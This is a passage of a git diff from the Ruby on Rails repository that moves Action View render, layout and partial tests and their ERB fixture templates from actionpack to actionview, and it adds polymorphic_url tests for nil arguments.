+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_rendering_without_layout
+ get :rendering_without_layout
+ assert_equal "Hello world!", @response.body
+ end
+
+ def test_layout_overriding_layout
+ get :layout_overriding_layout
+ assert_no_match %r{<title>}, @response.body
+ end
+
+ def test_rendering_nothing_on_layout
+ get :rendering_nothing_on_layout
+ assert_equal " ", @response.body
+ end
+
+ def test_render_to_string_doesnt_break_assigns
+ get :render_to_string_with_assigns
+ assert_equal "i'm before the render", assigns(:before)
+ assert_equal "i'm after the render", assigns(:after)
+ end
+
+ def test_bad_render_to_string_still_throws_exception
+ assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+ end
+
+ def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
+ assert_nothing_raised { get :render_to_string_with_caught_exception }
+ assert_equal "i'm before the render", assigns(:before)
+ assert_equal "i'm after the render", assigns(:after)
+ end
+
+ def test_accessing_params_in_template_with_layout
+ get :accessing_params_in_template_with_layout, :name => "David"
+ assert_equal "<html>Hello: David</html>", @response.body
+ end
+
+ def test_render_with_explicit_template
+ get :render_with_explicit_template
+ assert_response :success
+ end
+
+ def test_render_with_explicit_unescaped_template
+ assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
+ get :render_with_explicit_escaped_template
+ assert_equal "Hello w*rld!", @response.body
+ end
+
+ def test_render_with_explicit_string_template
+ get :render_with_explicit_string_template
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_render_with_filters
+ get :render_with_filters
+ assert_equal "<test>passed formatted xml erb</test>", @response.body
+ end
+
+ # :ported:
+ def test_double_render
+ assert_raise(AbstractController::DoubleRenderError) { get :double_render }
+ end
+
+ def test_double_redirect
+ assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
+ end
+
+ def test_render_and_redirect
+ assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
+ end
+
+ # specify the one exception to double render rule - render_to_string followed by render
+ def test_render_to_string_and_render
+ get :render_to_string_and_render
+ assert_equal("Hi web users! here is some cached stuff", @response.body)
+ end
+
+ def test_rendering_with_conflicting_local_vars
+ get :rendering_with_conflicting_local_vars
+ assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
+ end
+
+ def test_action_talk_to_layout
+ get :action_talk_to_layout
+ assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
+ end
+
+ # :addressed:
+ def test_render_text_with_assigns
+ get :render_text_with_assigns
+ assert_equal "world", assigns["hello"]
+ end
+
+ # :ported:
+ def test_template_with_locals
+ get :render_with_explicit_template_with_locals
+ assert_equal "The secret is area51\n", @response.body
+ end
+
+ def test_yield_content_for
+ get :yield_content_for
+ assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
+ end
+
+ def test_overwritting_rendering_relative_file_with_extension
+ get :hello_world_from_rxml_using_template
+ assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
+
+ get :hello_world_from_rxml_using_action
+ assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
+ end
+
+ def test_using_layout_around_block
+ get :render_using_layout_around_block
+ assert_equal "Before (David)\nInside from block\nAfter", @response.body
+ end
+
+ def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
+ end
+
+ def test_partial_only
+ get :partial_only
+ assert_equal "only partial", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_render_html_formatted_partial
+ get :partial
+ assert_equal "partial html", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
+ @request.accept = "text/javascript, text/html"
+
+ get :partial_html_erb
+
+ assert_equal "partial.html.erb", @response.body.strip
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_render_html_partial_with_formats
+ get :partial_formats_html
+ assert_equal "partial html", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_partial
+ get :render_to_string_with_partial
+ assert_equal "only partial", assigns(:partial_only)
+ assert_equal "Hello: david", assigns(:partial_with_locals)
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_with_template_and_html_partial
+ get :render_to_string_with_template_and_html_partial
+ assert_equal "**only partial**\n", assigns(:text)
+ assert_equal "<strong>only partial</strong>\n", assigns(:html)
+ assert_equal "<strong>only html partial</strong>\n", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_and_render_with_different_formats
+ get :render_to_string_and_render_with_different_formats
+ assert_equal "<strong>only partial</strong>\n", assigns(:html)
+ assert_equal "**only partial**\n", @response.body
+ assert_equal "text/plain", @response.content_type
+ end
+
+ def test_render_template_within_a_template_with_other_format
+ get :render_template_within_a_template_with_other_format
+ expected = "only html partial<p>This is grand!</p>"
+ assert_equal expected, @response.body.strip
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_partial_with_counter
+ get :partial_with_counter
+ assert_equal "5", @response.body
+ end
+
+ def test_partial_with_locals
+ get :partial_with_locals
+ assert_equal "Hello: david", @response.body
+ end
+
+ def test_partial_with_form_builder
+ get :partial_with_form_builder
+ assert_match(/<label/, @response.body)
+ assert_template('test/_form')
+ end
+
+ def test_partial_with_form_builder_subclass
+ get :partial_with_form_builder_subclass
+ assert_match(/<label/, @response.body)
+ assert_template('test/_labelling_form')
+ end
+
+ def test_nested_partial_with_form_builder
+ @controller = Fun::GamesController.new
+ get :nested_partial_with_form_builder
+ assert_match(/<label/, @response.body)
+ assert_template('fun/games/_form')
+ end
+
+ def test_namespaced_object_partial
+ @controller = Quiz::QuestionsController.new
+ get :new
+ assert_equal "Namespaced Partial", @response.body
+ end
+
+ def test_partial_collection
+ get :partial_collection
+ assert_equal "Hello: davidHello: mary", @response.body
+ end
+
+ def test_partial_collection_with_as
+ get :partial_collection_with_as
+ assert_equal "david david davidmary mary mary", @response.body
+ end
+
+ def test_partial_collection_with_counter
+ get :partial_collection_with_counter
+ assert_equal "david0mary1", @response.body
+ end
+
+ def test_partial_collection_with_as_and_counter
+ get :partial_collection_with_as_and_counter
+ assert_equal "david0mary1", @response.body
+ end
+
+ def test_partial_collection_with_locals
+ get :partial_collection_with_locals
+ assert_equal "Bonjour: davidBonjour: mary", @response.body
+ end
+
+ def test_locals_option_to_assert_template_is_not_supported
+ get :partial_collection_with_locals
+
+ warning_buffer = StringIO.new
+ $stderr = warning_buffer
+
+ assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' }
+ assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string
+ ensure
+ $stderr = STDERR
+ end
+
+ def test_partial_collection_with_spacer
+ get :partial_collection_with_spacer
+ assert_equal "Hello: davidonly partialHello: mary", @response.body
+ assert_template :partial => '_customer'
+ end
+
+ def test_partial_collection_with_spacer_which_uses_render
+ get :partial_collection_with_spacer_which_uses_render
+ assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
+ assert_template :partial => '_customer'
+ end
+
+ def test_partial_collection_shorthand_with_locals
+ get :partial_collection_shorthand_with_locals
+ assert_equal "Bonjour: davidBonjour: mary", @response.body
+ assert_template :partial => 'customers/_customer', :count => 2
+ assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
+ end
+
+ def test_partial_collection_shorthand_with_different_types_of_records
+ get :partial_collection_shorthand_with_different_types_of_records
+ assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
+ assert_template :partial => 'good_customers/_good_customer', :count => 3
+ assert_template :partial => 'bad_customers/_bad_customer', :count => 3
+ end
+
+ def test_empty_partial_collection
+ get :empty_partial_collection
+ assert_equal " ", @response.body
+ assert_template :partial => false
+ end
+
+ def test_partial_with_hash_object
+ get :partial_with_hash_object
+ assert_equal "Sam\nmaS\n", @response.body
+ end
+
+ def test_partial_with_nested_object
+ get :partial_with_nested_object
+ assert_equal "first", @response.body
+ end
+
+ def test_partial_with_nested_object_shorthand
+ get :partial_with_nested_object_shorthand
+ assert_equal "first", @response.body
+ end
+
+ def test_hash_partial_collection
+ get :partial_hash_collection
+ assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
+ end
+
+ def test_partial_hash_collection_with_locals
+ get :partial_hash_collection_with_locals
+ assert_equal "Hola: PratikHola: Amy", @response.body
+ end
+
+ def test_render_missing_partial_template
+ assert_raise(ActionView::MissingTemplate) do
+ get :missing_partial
+ end
+ end
+
+ def test_render_call_to_partial_with_layout
+ get :render_call_to_partial_with_layout
+ assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
+ end
+
+ def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
+ end
+end
+
diff --git a/actionpack/test/controller/view_paths_test.rb b/actionview/test/actionpack/controller/view_paths_test.rb
index c6e7a523b9..c6e7a523b9 100644
--- a/actionpack/test/controller/view_paths_test.rb
+++ b/actionview/test/actionpack/controller/view_paths_test.rb
diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb
index 2e302c65a7..0a62f49f35 100644
--- a/actionview/test/activerecord/form_helper_activerecord_test.rb
+++ b/actionview/test/activerecord/form_helper_activerecord_test.rb
@@ -59,12 +59,13 @@ class FormHelperActiveRecordTest < ActionView::TestCase
protected
def hidden_fields(method = nil)
- txt = %{<div style="margin:0;padding:0;display:inline">}
- txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+ txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+
if method && !%w(get post).include?(method.to_s)
txt << %{<input name="_method" type="hidden" value="#{method}" />}
end
- txt << %{</div>}
+
+ txt
end
def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
@@ -88,4 +89,4 @@ class FormHelperActiveRecordTest < ActionView::TestCase
form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
end
-end \ No newline at end of file
+end
diff --git a/actionview/test/activerecord/polymorphic_routes_test.rb b/actionview/test/activerecord/polymorphic_routes_test.rb
index afb714484b..1ead18518a 100644
--- a/actionview/test/activerecord/polymorphic_routes_test.rb
+++ b/actionview/test/activerecord/polymorphic_routes_test.rb
@@ -112,6 +112,31 @@ class PolymorphicRoutesTest < ActionController::TestCase
end
end
+ def test_with_empty_list
+ with_test_routes do
+ assert_raise ArgumentError, "Nil location provided. Can't build URI." do
+ polymorphic_url([])
+ end
+ end
+ end
+
+ def test_with_nil_id
+ with_test_routes do
+ assert_raise ArgumentError, "Nil location provided. Can't build URI." do
+ polymorphic_url({ :id => nil })
+ end
+ end
+ end
+
+ def test_with_nil_in_list
+ with_test_routes do
+ assert_raise ArgumentError, "Nil location provided. Can't build URI." do
+ @series.save
+ polymorphic_url([nil, @series])
+ end
+ end
+ end
+
def test_with_record
with_test_routes do
@project.save
@@ -295,17 +320,17 @@ class PolymorphicRoutesTest < ActionController::TestCase
end
end
- def test_nesting_with_array_containing_nil
+ def test_nesting_with_array
with_test_routes do
@project.save
- assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, nil, :bid])
+ assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, :bid])
end
end
def test_with_array_containing_single_object
with_test_routes do
@project.save
- assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url([nil, @project])
+ assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url([@project])
end
end
@@ -438,7 +463,7 @@ class PolymorphicRoutesTest < ActionController::TestCase
def test_with_array_containing_single_irregular_plural_object
with_test_routes do
@tax.save
- assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url([nil, @tax])
+ assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url([@tax])
end
end
diff --git a/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
new file mode 100644
index 0000000000..d22af431ec
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/customers/_customer.html.erb b/actionview/test/fixtures/actionpack/customers/_customer.html.erb
index 483571e22a..483571e22a 100644
--- a/actionpack/test/fixtures/customers/_customer.html.erb
+++ b/actionview/test/fixtures/actionpack/customers/_customer.html.erb
diff --git a/actionpack/test/fixtures/fun/games/_form.erb b/actionview/test/fixtures/actionpack/fun/games/_form.erb
index 01107f1cb2..01107f1cb2 100644
--- a/actionpack/test/fixtures/fun/games/_form.erb
+++ b/actionview/test/fixtures/actionpack/fun/games/_form.erb
diff --git a/actionpack/test/fixtures/fun/games/hello_world.erb b/actionview/test/fixtures/actionpack/fun/games/hello_world.erb
index 1ebfbe2539..1ebfbe2539 100644
--- a/actionpack/test/fixtures/fun/games/hello_world.erb
+++ b/actionview/test/fixtures/actionpack/fun/games/hello_world.erb
diff --git a/actionpack/test/fixtures/good_customers/_good_customer.html.erb b/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
index a2d97ebc6d..a2d97ebc6d 100644
--- a/actionpack/test/fixtures/good_customers/_good_customer.html.erb
+++ b/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
diff --git a/actionpack/test/fixtures/hello.html b/actionview/test/fixtures/actionpack/hello.html
index 6769dd60bd..6769dd60bd 100644
--- a/actionpack/test/fixtures/hello.html
+++ b/actionview/test/fixtures/actionpack/hello.html
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
+++ b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
index 121bc079a1..121bc079a1 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/item.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
index 60f04d77d5..60f04d77d5 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/item.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
index b74ac0840d..b74ac0840d 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/layout_test.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
diff --git a/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
index 3b65e54f9c..3b65e54f9c 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
new file mode 100644
index 0000000000..bda57d0fae
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
@@ -0,0 +1,5 @@
+This is my layout
+
+<%= yield %>
+
+End.
diff --git a/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab b/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
index fcee620d82..fcee620d82 100644
--- a/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
diff --git a/actionpack/test/fixtures/layout_tests/views/goodbye.erb b/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
index 4ee911188e..4ee911188e 100644
--- a/actionpack/test/fixtures/layout_tests/views/goodbye.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
diff --git a/actionpack/test/fixtures/layout_tests/views/hello.erb b/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
index 4ee911188e..4ee911188e 100644
--- a/actionpack/test/fixtures/layout_tests/views/hello.erb
+++ b/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
diff --git a/actionview/test/fixtures/actionpack/layouts/_column.html.erb b/actionview/test/fixtures/actionpack/layouts/_column.html.erb
new file mode 100644
index 0000000000..96db002b8a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_column.html.erb
@@ -0,0 +1,2 @@
+<div id="column"><%= yield :column %></div>
+<div id="content"><%= yield %></div> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/_customers.erb b/actionview/test/fixtures/actionpack/layouts/_customers.erb
new file mode 100644
index 0000000000..ae63f13cd3
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/_yield_only.erb b/actionview/test/fixtures/actionpack/layouts/_yield_only.erb
new file mode 100644
index 0000000000..37f0bddbd7
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_yield_only.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb b/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
new file mode 100644
index 0000000000..68e6557fb8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb
@@ -0,0 +1 @@
+<%= yield 'Yield!' %>
diff --git a/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
new file mode 100644
index 0000000000..73ac833e52
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/block_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% "Return value should be discarded" %><% end %>
+<%= yield %>
+<%= render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>
diff --git a/actionview/test/fixtures/actionpack/layouts/builder.builder b/actionview/test/fixtures/actionpack/layouts/builder.builder
new file mode 100644
index 0000000000..7c7d4b2dd1
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/builder.builder
@@ -0,0 +1,3 @@
+xml.wrapper do
+ xml << yield
+end \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
new file mode 100644
index 0000000000..a0349d731e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb
@@ -0,0 +1,3 @@
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
+<%= yield %>
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/standard.html.erb b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
new file mode 100644
index 0000000000..5e6c24fe39
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><%= yield %><%= @variable_for_layout %></html> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/streaming.erb b/actionview/test/fixtures/actionpack/layouts/streaming.erb
new file mode 100644
index 0000000000..d3f896a6ca
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/streaming.erb
@@ -0,0 +1,4 @@
+<%= yield :header -%>
+<%= yield -%>
+<%= yield :footer -%>
+<%= yield(:unknown).presence || "." -%> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
new file mode 100644
index 0000000000..bf53fdb785
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/talk_from_action.erb
@@ -0,0 +1,2 @@
+<title><%= @title || yield(:title) %></title>
+<%= yield -%> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
new file mode 100644
index 0000000000..fd2896aeaa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "partial_only_html" %><%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/xhr.html.erb b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
new file mode 100644
index 0000000000..85285324ec
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/yield.erb b/actionview/test/fixtures/actionpack/layouts/yield.erb
new file mode 100644
index 0000000000..482dc9022e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
new file mode 100644
index 0000000000..7298d79690
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb
@@ -0,0 +1,2 @@
+<%= render :inline => 'welcome' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionpack/test/fixtures/quiz/questions/_question.html.erb b/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
index fb4dcfee64..fb4dcfee64 100644
--- a/actionpack/test/fixtures/quiz/questions/_question.html.erb
+++ b/actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb
diff --git a/actionview/test/fixtures/actionpack/shared.html.erb b/actionview/test/fixtures/actionpack/shared.html.erb
new file mode 100644
index 0000000000..af262fc9f8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/shared.html.erb
@@ -0,0 +1 @@
+Elastica \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
new file mode 100644
index 0000000000..3225efc49a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
new file mode 100644
index 0000000000..7fa41dce66
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_counter.html.erb b/actionview/test/fixtures/actionpack/test/_counter.html.erb
new file mode 100644
index 0000000000..fd245bfc70
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_counter.html.erb
@@ -0,0 +1 @@
+<%= counter_counter %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer.erb b/actionview/test/fixtures/actionpack/test/_customer.erb
new file mode 100644
index 0000000000..d8220afeda
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_counter.erb b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
new file mode 100644
index 0000000000..3435979dba
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter.erb
@@ -0,0 +1 @@
+<%= customer_counter.name %><%= customer_counter_counter %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
new file mode 100644
index 0000000000..1241eb604d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb
@@ -0,0 +1 @@
+<%= client.name %><%= client_counter %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_greeting.erb b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
new file mode 100644
index 0000000000..6acbcb20c4
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_customer_with_var.erb b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
new file mode 100644
index 0000000000..00047dd20e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_customer_with_var.erb
@@ -0,0 +1 @@
+<%= customer.name %> <%= customer.name %> <%= customer.name %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000000..1cc8d41475
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
new file mode 100644
index 0000000000..790ee896db
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_form.erb b/actionview/test/fixtures/actionpack/test/_form.erb
new file mode 100644
index 0000000000..01107f1cb2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_form.erb
@@ -0,0 +1 @@
+<%= form.label :title %>
diff --git a/actionview/test/fixtures/actionpack/test/_hash_greeting.erb b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
new file mode 100644
index 0000000000..fc54a36f2a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hash_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= hash_greeting[:first_name] %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_hash_object.erb b/actionview/test/fixtures/actionpack/test/_hash_object.erb
new file mode 100644
index 0000000000..34a92c6a56
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hash_object.erb
@@ -0,0 +1,2 @@
+<%= hash_object[:first_name] %>
+<%= hash_object[:first_name].reverse %>
diff --git a/actionview/test/fixtures/actionpack/test/_hello.builder b/actionview/test/fixtures/actionpack/test/_hello.builder
new file mode 100644
index 0000000000..ef52f632d1
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_hello.builder
@@ -0,0 +1 @@
+xm.hello \ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory b/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory
+++ b/actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb
diff --git a/actionview/test/fixtures/actionpack/test/_labelling_form.erb b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
new file mode 100644
index 0000000000..1b95763165
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_labelling_form.erb
@@ -0,0 +1 @@
+<%= labelling_form.label :title %>
diff --git a/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
new file mode 100644
index 0000000000..666efadbb6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.erb b/actionview/test/fixtures/actionpack/test/_partial.erb
new file mode 100644
index 0000000000..e466dcbd8e
--- /dev/null
